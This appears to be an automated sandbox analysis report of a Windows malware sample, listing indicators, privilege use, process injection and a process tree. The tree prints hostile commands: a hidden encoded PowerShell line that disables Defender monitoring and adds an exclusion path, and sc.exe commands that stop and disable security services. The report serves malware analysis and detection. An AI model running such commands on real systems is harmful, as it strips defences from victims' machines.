pid Process 6024 chrome.exe 6024 chrome.exe 5712 powershell.exe 5712 powershell.exe 5712 powershell.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5712 powershell.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeIncreaseQuotaPrivilege 1508 WMIC.exe Token: SeSecurityPrivilege 1508 WMIC.exe Token: SeTakeOwnershipPrivilege 1508 WMIC.exe Token: SeLoadDriverPrivilege 1508 WMIC.exe Token: SeSystemProfilePrivilege 1508 WMIC.exe Token: SeSystemtimePrivilege 1508 WMIC.exe Token: SeProfSingleProcessPrivilege 1508 WMIC.exe Token: SeIncBasePriorityPrivilege 1508 WMIC.exe Token: SeCreatePagefilePrivilege 1508 WMIC.exe Token: SeBackupPrivilege 1508 WMIC.exe Token: SeRestorePrivilege 1508 WMIC.exe Token: SeShutdownPrivilege 1508 WMIC.exe Token: SeDebugPrivilege 1508 WMIC.exe Token: SeSystemEnvironmentPrivilege 1508 WMIC.exe Token: SeRemoteShutdownPrivilege 1508 WMIC.exe Token: SeUndockPrivilege 1508 WMIC.exe Token: SeManageVolumePrivilege 1508 WMIC.exe Token: 33 1508 WMIC.exe Token: 34 1508 WMIC.exe Token: 35 1508 WMIC.exe Token: 36 1508 WMIC.exe Token: SeBackupPrivilege 2408 vssvc.exe Token: SeRestorePrivilege 2408 vssvc.exe Token: SeAuditPrivilege 2408 vssvc.exe Token: SeIncreaseQuotaPrivilege 1508 WMIC.exe Token: SeSecurityPrivilege 1508 WMIC.exe Token: SeTakeOwnershipPrivilege 1508 WMIC.exe Token: SeLoadDriverPrivilege 1508 WMIC.exe Token: SeSystemProfilePrivilege 1508 WMIC.exe Token: SeSystemtimePrivilege 1508 WMIC.exe Token: SeProfSingleProcessPrivilege 1508 WMIC.exe Token: SeIncBasePriorityPrivilege 1508 WMIC.exe Token: SeCreatePagefilePrivilege 1508 WMIC.exe Token: SeBackupPrivilege 1508 WMIC.exe Token: SeRestorePrivilege 1508 WMIC.exe Token: SeShutdownPrivilege 1508 WMIC.exe Token: SeDebugPrivilege 1508 WMIC.exe Token: SeSystemEnvironmentPrivilege 1508 WMIC.exe Token: SeRemoteShutdownPrivilege 1508 WMIC.exe Token: SeUndockPrivilege 1508 WMIC.exe Token: SeManageVolumePrivilege 1508 WMIC.exe Token: 33 1508 WMIC.exe Token: 34 1508 WMIC.exe Token: 35 1508 WMIC.exe Token: 36 1508 WMIC.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeDebugPrivilege 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeIncBasePriorityPrivilege 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeShutdownPrivilege 6024 chrome.exe Token: SeCreatePagefilePrivilege 6024 chrome.exe Token: SeDebugPrivilege 1940 whoami.exe Token: SeDebugPrivilege 5520 NETSTAT.EXE - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe - Suspicious use of SendNotifyMessage 16 IoCs
pid Process 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe 6024 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4784 wrote to memory of 6024 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 80 PID 6024 wrote to memory of 876 6024 chrome.exe 81 PID 4784 wrote to memory of 5712 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 82 PID 4784 wrote to memory of 3812 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 84 PID 4784 wrote to memory of 908 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 4784 wrote to memory of 3500 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 4784 wrote to memory of 4660 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 4784 wrote to memory of 1424 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 4784 wrote to memory of 5784 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 94 PID 4784 wrote to memory of 1228 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 128 PID 6024 wrote to memory of 1472 6024 chrome.exe 97 PID 6024 wrote to memory of 1472 6024 chrome.exe 97 PID 6024 wrote to memory of 5484 6024 chrome.exe 98 PID 6024 wrote to memory of 4868 6024 chrome.exe 100 PID 6024 wrote to memory of 4868 6024 chrome.exe 100 PID 4784 wrote to memory of 2752 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 101 PID 6024 wrote to memory of 6124 6024 chrome.exe 105 PID 6024 wrote to memory of 6124 6024 chrome.exe 105 PID 6024 wrote to memory of 2456 6024 chrome.exe 102 PID 6024 wrote to memory of 2456 6024 chrome.exe 102 PID 6024 wrote to memory of 5896 6024 chrome.exe 106 PID 6024 wrote to memory of 5896 6024 chrome.exe 106 PID 4784 wrote to memory of 3444 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 4784 wrote to memory of 2488 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 4784 wrote to memory of 1900 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 4784 wrote to memory of 6048 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 3444 wrote to memory of 3440 3444 fodhelper.exe 114 PID 4784 wrote to memory of 1508 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 116 PID 4784 wrote to memory of 5072 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 121 PID 6024 wrote to memory of 5876 6024 chrome.exe 122 PID 6024 wrote to memory of 5876 6024 chrome.exe 122 PID 4784 wrote to memory of 1112 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 123 PID 4784 wrote to memory of 1560 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 126 PID 4784 wrote to memory of 1796 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 4784 wrote to memory of 3212 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 132 PID 4784 wrote to memory of 320 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 133 PID 4784 wrote to memory of 5316 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 4784 wrote to memory of 756 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 4784 wrote to memory of 2172 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 4784 wrote to memory of 2900 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 4784 wrote to memory of 2384 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 4784 wrote to memory of 5536 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 756 wrote to memory of 1892 756 cmd.exe 148 PID 4784 wrote to memory of 2760 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 147 PID 5316 wrote to memory of 1940 5316 cmd.exe 149 PID 1892 wrote to memory of 1596 1892 net.exe 150 PID 1796 wrote to memory of 3024 1796 cmd.exe 151 PID 2172 wrote to memory of 4692 2172 cmd.exe 152 PID 2900 wrote to memory of 5520 2900 cmd.exe 153 PID 3212 wrote to memory of 5444 3212 cmd.exe 154 PID 320 wrote to memory of 4732 320 cmd.exe 155 PID 1796 wrote to memory of 1008 1796 cmd.exe 156 PID 4784 wrote to memory of 5284 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 157 PID 4784 wrote to memory of 5652 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 158 PID 4784 wrote to memory of 5636 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 159 PID 4784 wrote to memory of 5560 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 4784 wrote to memory of 4256 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 165 PID 4784 wrote to memory of 4552 4784 2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe 167 PID 5636 wrote to memory of 1776 5636 net.exe 169 PID 6024 wrote to memory of 4908 6024 chrome.exe 171 PID 6024 wrote to memory of 1824 6024 chrome.exe 174 PID 6024 wrote to memory of 4692 6024 chrome.exe 175 PID 6024 wrote to memory of 340 6024 chrome.exe 176 PID 6024 wrote to memory of 428 6024 chrome.exe 186 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_ca9612a89fc03017f2dfe99e4540b819_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://www.lithiumvalleycommunitycoalition.org2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:6024 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcbb6fc728,0x7ffcbb6fc734,0x7ffcbb6fc7403⤵PID:876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1572,i,10822431486444334293,8736811011574138131,262144 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1936 /prefetch:23⤵PID:1472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1444,i,8386188380121906761,1531436021391442444,524288 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2216 /prefetch:113⤵
- System Time Discovery
PID:5484
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2364,i,18404461500933943871,1888368462855254825,524288 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2376 /prefetch:133⤵PID:4868
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,4636265152607678218,5016187462066941370,2097152 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3164 /prefetch:13⤵PID:2456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,12528659615383411430,788720048089591626,2097152 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:13⤵PID:6124
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4284,i,1931277616481158471,14232250354081481706,2097152 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4288 /prefetch:93⤵PID:5896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4732,i,8469610306393417544,5770487836923309193,2097152 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4756 /prefetch:13⤵PID:5876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5508,i,14222065012016120524,12116199628838598786,524288 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5512 /prefetch:143⤵PID:4908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,8924550649137685071,7792538360453614380,524288 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5524 /prefetch:143⤵PID:1824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=212,i,14808051741182231484,8069551885026824906,524288 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5648 /prefetch:143⤵PID:4692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4952,i,9498073185819959237,2405887453115523991,524288 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5692 /prefetch:143⤵PID:340
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4300,i,4956932453681230005,3875572679837511189,262144 --field-trial-handle=1944,i,5247558226746408142,11222393877779490135,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4424 /prefetch:103⤵PID:428
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5712
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3812
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:908
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3500
-
-
